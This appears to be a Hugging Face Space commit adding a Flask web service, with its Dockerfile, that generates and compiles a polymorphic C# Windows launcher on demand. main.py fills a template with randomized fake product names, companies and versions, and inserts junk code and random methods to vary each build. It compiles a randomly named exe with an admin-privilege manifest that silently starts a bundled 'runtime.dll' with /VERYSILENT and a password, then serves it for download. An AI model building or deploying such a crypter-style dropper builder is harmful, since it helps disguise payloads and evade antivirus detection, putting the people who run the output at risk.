Spaces:
Paused
Paused
Upload 4 files
Browse files- Dockerfile +52 -0
- app.ico +0 -0
- main.py +164 -0
- requirements.txt +1 -0
Dockerfile
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
# Use an official Python slim image for the base
|
2 |
+
FROM python:3.10-slim
|
3 |
+
|
4 |
+
# Set the working directory
|
5 |
+
WORKDIR /app
|
6 |
+
|
7 |
+
# Install dependencies: Mono, wget, and Python pip
|
8 |
+
RUN apt-get update && apt-get install -y \
|
9 |
+
wget \
|
10 |
+
apt-transport-https \
|
11 |
+
&& apt-get install -y gnupg2 \
|
12 |
+
&& echo "deb https://download.mono-project.com/repo/debian stable main" >> /etc/apt/sources.list.d/mono-official-stable.list \
|
13 |
+
&& wget -qO - https://download.mono-project.com/repo/xamarin.gpg | apt-key add - \
|
14 |
+
&& apt-get update && apt-get install -y mono-complete \
|
15 |
+
&& apt-get install -y python3-pip \
|
16 |
+
&& rm -rf /var/lib/apt/lists/*
|
17 |
+
|
18 |
+
# Create a non-root user and set it as the user for the rest of the image
|
19 |
+
RUN useradd -ms /bin/bash appuser
|
20 |
+
|
21 |
+
# Ensure the /app directory is owned by the non-root user
|
22 |
+
RUN chown -R appuser:appuser /app
|
23 |
+
|
24 |
+
# Switch to the non-root user
|
25 |
+
USER appuser
|
26 |
+
|
27 |
+
# Create necessary directories and set permissions
|
28 |
+
RUN mkdir -p /app/uploads /home/appuser/.mono && \
|
29 |
+
chmod -R 777 /app/uploads /home/appuser/.mono
|
30 |
+
|
31 |
+
# Set the MONO_HOME environment variable
|
32 |
+
ENV MONO_HOME="/home/appuser/.mono"
|
33 |
+
# Add the Mono tools directory to PATH
|
34 |
+
ENV PATH="${PATH}:${MONO_HOME}/bin:/usr/bin"
|
35 |
+
|
36 |
+
# Ensure mcs is in the PATH
|
37 |
+
RUN echo $PATH && which mcs
|
38 |
+
|
39 |
+
# Copy the requirements file with the correct owner
|
40 |
+
COPY --chown=appuser:appuser ./requirements.txt /app/requirements.txt
|
41 |
+
|
42 |
+
# Install Python dependencies
|
43 |
+
RUN pip3 install --no-cache-dir --upgrade -r /app/requirements.txt
|
44 |
+
|
45 |
+
# Copy the Flask app files
|
46 |
+
COPY --chown=appuser:appuser . .
|
47 |
+
|
48 |
+
# Expose the port the app runs on
|
49 |
+
EXPOSE 7860
|
50 |
+
|
51 |
+
# Command to run the Flask app
|
52 |
+
CMD ["python3", "main.py"]
|
app.ico
ADDED
|
main.py
ADDED
@@ -0,0 +1,164 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import os
|
2 |
+
import random
|
3 |
+
import string
|
4 |
+
import subprocess
|
5 |
+
from flask import Flask, render_template_string, send_file
|
6 |
+
|
7 |
+
app = Flask(__name__)
|
8 |
+
|
9 |
+
# Step 1: Define the base C# template without AssemblyCulture
|
10 |
+
base_cs_template = """
|
11 |
+
using System;
|
12 |
+
using System.Diagnostics;
|
13 |
+
using System.IO;
|
14 |
+
using System.Reflection;
|
15 |
+
[assembly: AssemblyTitle("<<title>>")]
|
16 |
+
[assembly: AssemblyDescription("<<description>>")]
|
17 |
+
[assembly: AssemblyConfiguration("<<configuration>>")]
|
18 |
+
[assembly: AssemblyCompany("<<company>>")]
|
19 |
+
[assembly: AssemblyProduct("<<product>>")]
|
20 |
+
[assembly: AssemblyCopyright("<<copyright>>")]
|
21 |
+
[assembly: AssemblyTrademark("<<trademark>>")]
|
22 |
+
[assembly: AssemblyVersion("<<version>>")]
|
23 |
+
[assembly: AssemblyFileVersion("<<file_version>>")]
|
24 |
+
[assembly: AssemblyInformationalVersion("<<informational_version>>")]
|
25 |
+
class Program
|
26 |
+
{
|
27 |
+
static void Main()
|
28 |
+
{
|
29 |
+
string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll");
|
30 |
+
if (File.Exists(originalFilePath))
|
31 |
+
{
|
32 |
+
<<control_flow_junk>>
|
33 |
+
Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false });
|
34 |
+
<<additional_obfuscated_code>>
|
35 |
+
Environment.Exit(0); // Exit immediately
|
36 |
+
}
|
37 |
+
}
|
38 |
+
<<obfuscated_methods>>
|
39 |
+
}
|
40 |
+
"""
|
41 |
+
|
42 |
+
# Utility functions (unchanged)
|
43 |
+
def random_string(length):
|
44 |
+
return ''.join(random.choice(string.ascii_letters) for _ in range(length))
|
45 |
+
|
46 |
+
def random_version():
|
47 |
+
major = random.randint(1, 5)
|
48 |
+
minor = random.randint(0, 9)
|
49 |
+
build = random.randint(0, 99)
|
50 |
+
revision = random.randint(0, 99)
|
51 |
+
return f"{major}.{minor}.{build}.{revision}"
|
52 |
+
|
53 |
+
titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter']
|
54 |
+
descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.']
|
55 |
+
companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies']
|
56 |
+
trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design']
|
57 |
+
|
58 |
+
def generate_control_flow_junk():
|
59 |
+
conditions = [
|
60 |
+
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
|
61 |
+
"for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
|
62 |
+
"if (false) { Console.WriteLine(\"This will never happen\"); }",
|
63 |
+
"while (false) { break; }"
|
64 |
+
]
|
65 |
+
return random.choice(conditions)
|
66 |
+
|
67 |
+
def generate_obfuscated_methods():
|
68 |
+
methods = [
|
69 |
+
f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}',
|
70 |
+
f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}',
|
71 |
+
f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}',
|
72 |
+
f'string {random_string(6)}() {{ return "{random_string(12)}"; }}'
|
73 |
+
]
|
74 |
+
return "\n ".join(random.sample(methods, k=2))
|
75 |
+
|
76 |
+
def generate_additional_obfuscated_code():
|
77 |
+
snippets = [
|
78 |
+
"#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219",
|
79 |
+
"string dummy = \"abc\";",
|
80 |
+
"Console.WriteLine(\"Executing...\");"
|
81 |
+
]
|
82 |
+
return random.choice(snippets)
|
83 |
+
|
84 |
+
@app.route('/')
|
85 |
+
def index():
|
86 |
+
html_content = """
|
87 |
+
<!DOCTYPE html>
|
88 |
+
<html lang="en">
|
89 |
+
<head>
|
90 |
+
<meta charset="UTF-8">
|
91 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
92 |
+
<title>Script Generator</title>
|
93 |
+
</head>
|
94 |
+
<body>
|
95 |
+
<h1>Generate and Compile C# Script</h1>
|
96 |
+
<form action="/generate" method="post">
|
97 |
+
<button type="submit">Generate & Compile</button>
|
98 |
+
</form>
|
99 |
+
</body>
|
100 |
+
</html>
|
101 |
+
"""
|
102 |
+
return render_template_string(html_content)
|
103 |
+
|
104 |
+
@app.route('/generate', methods=['POST'])
|
105 |
+
def generate_script():
|
106 |
+
# Generate the randomized assembly information using meaningful words
|
107 |
+
assembly_info = {
|
108 |
+
'title': random.choice(titles),
|
109 |
+
'description': random.choice(descriptions),
|
110 |
+
'configuration': '', # Can leave empty
|
111 |
+
'company': random.choice(companies),
|
112 |
+
'product': "MyProduct",
|
113 |
+
'copyright': f"Copyright © {random.choice(companies)} 2024",
|
114 |
+
'trademark': random.choice(trademarks),
|
115 |
+
'version': random_version(),
|
116 |
+
'file_version': random_version(),
|
117 |
+
'informational_version': random_version()
|
118 |
+
}
|
119 |
+
|
120 |
+
# Replace placeholders in the base template
|
121 |
+
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
|
122 |
+
.replace('<<description>>', assembly_info['description']) \
|
123 |
+
.replace('<<configuration>>', assembly_info['configuration']) \
|
124 |
+
.replace('<<company>>', assembly_info['company']) \
|
125 |
+
.replace('<<product>>', assembly_info['product']) \
|
126 |
+
.replace('<<copyright>>', assembly_info['copyright']) \
|
127 |
+
.replace('<<trademark>>', assembly_info['trademark']) \
|
128 |
+
.replace('<<version>>', assembly_info['version']) \
|
129 |
+
.replace('<<file_version>>', assembly_info['file_version']) \
|
130 |
+
.replace('<<informational_version>>', assembly_info['informational_version']) \
|
131 |
+
.replace('<<control_flow_junk>>', generate_control_flow_junk()) \
|
132 |
+
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
|
133 |
+
.replace('<<obfuscated_methods>>', generate_obfuscated_methods())
|
134 |
+
|
135 |
+
# Generate random file names
|
136 |
+
script_path = 'polymorphic_program.cs'
|
137 |
+
exe_name = random_string(10) + '.exe' # Generate a random executable name
|
138 |
+
|
139 |
+
# Save the modified C# script to a file
|
140 |
+
with open(script_path, 'w') as file:
|
141 |
+
file.write(modified_cs)
|
142 |
+
|
143 |
+
# Compile the C# script using mcs with the manifest for admin privileges
|
144 |
+
compile_command = [
|
145 |
+
'mcs', '-target:winexe', '-out:' + exe_name, script_path,
|
146 |
+
'-win32icon:app.ico', '-win32manifest:app.manifest'
|
147 |
+
]
|
148 |
+
|
149 |
+
# Run the compilation command
|
150 |
+
try:
|
151 |
+
subprocess.run(compile_command, check=True)
|
152 |
+
except subprocess.CalledProcessError as e:
|
153 |
+
return f"Compilation failed: {e}", 500
|
154 |
+
except FileNotFoundError:
|
155 |
+
return "Compiler 'mcs' not found. Make sure it is installed and in the PATH.", 500
|
156 |
+
|
157 |
+
# Provide a link to download the compiled executable
|
158 |
+
return send_file(exe_name, as_attachment=True)
|
159 |
+
|
160 |
+
|
161 |
+
|
162 |
+
# Start the Flask app
|
163 |
+
if __name__ == '__main__':
|
164 |
+
app.run(host='0.0.0.0', port=7860, debug=True)
|
requirements.txt
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
flask
|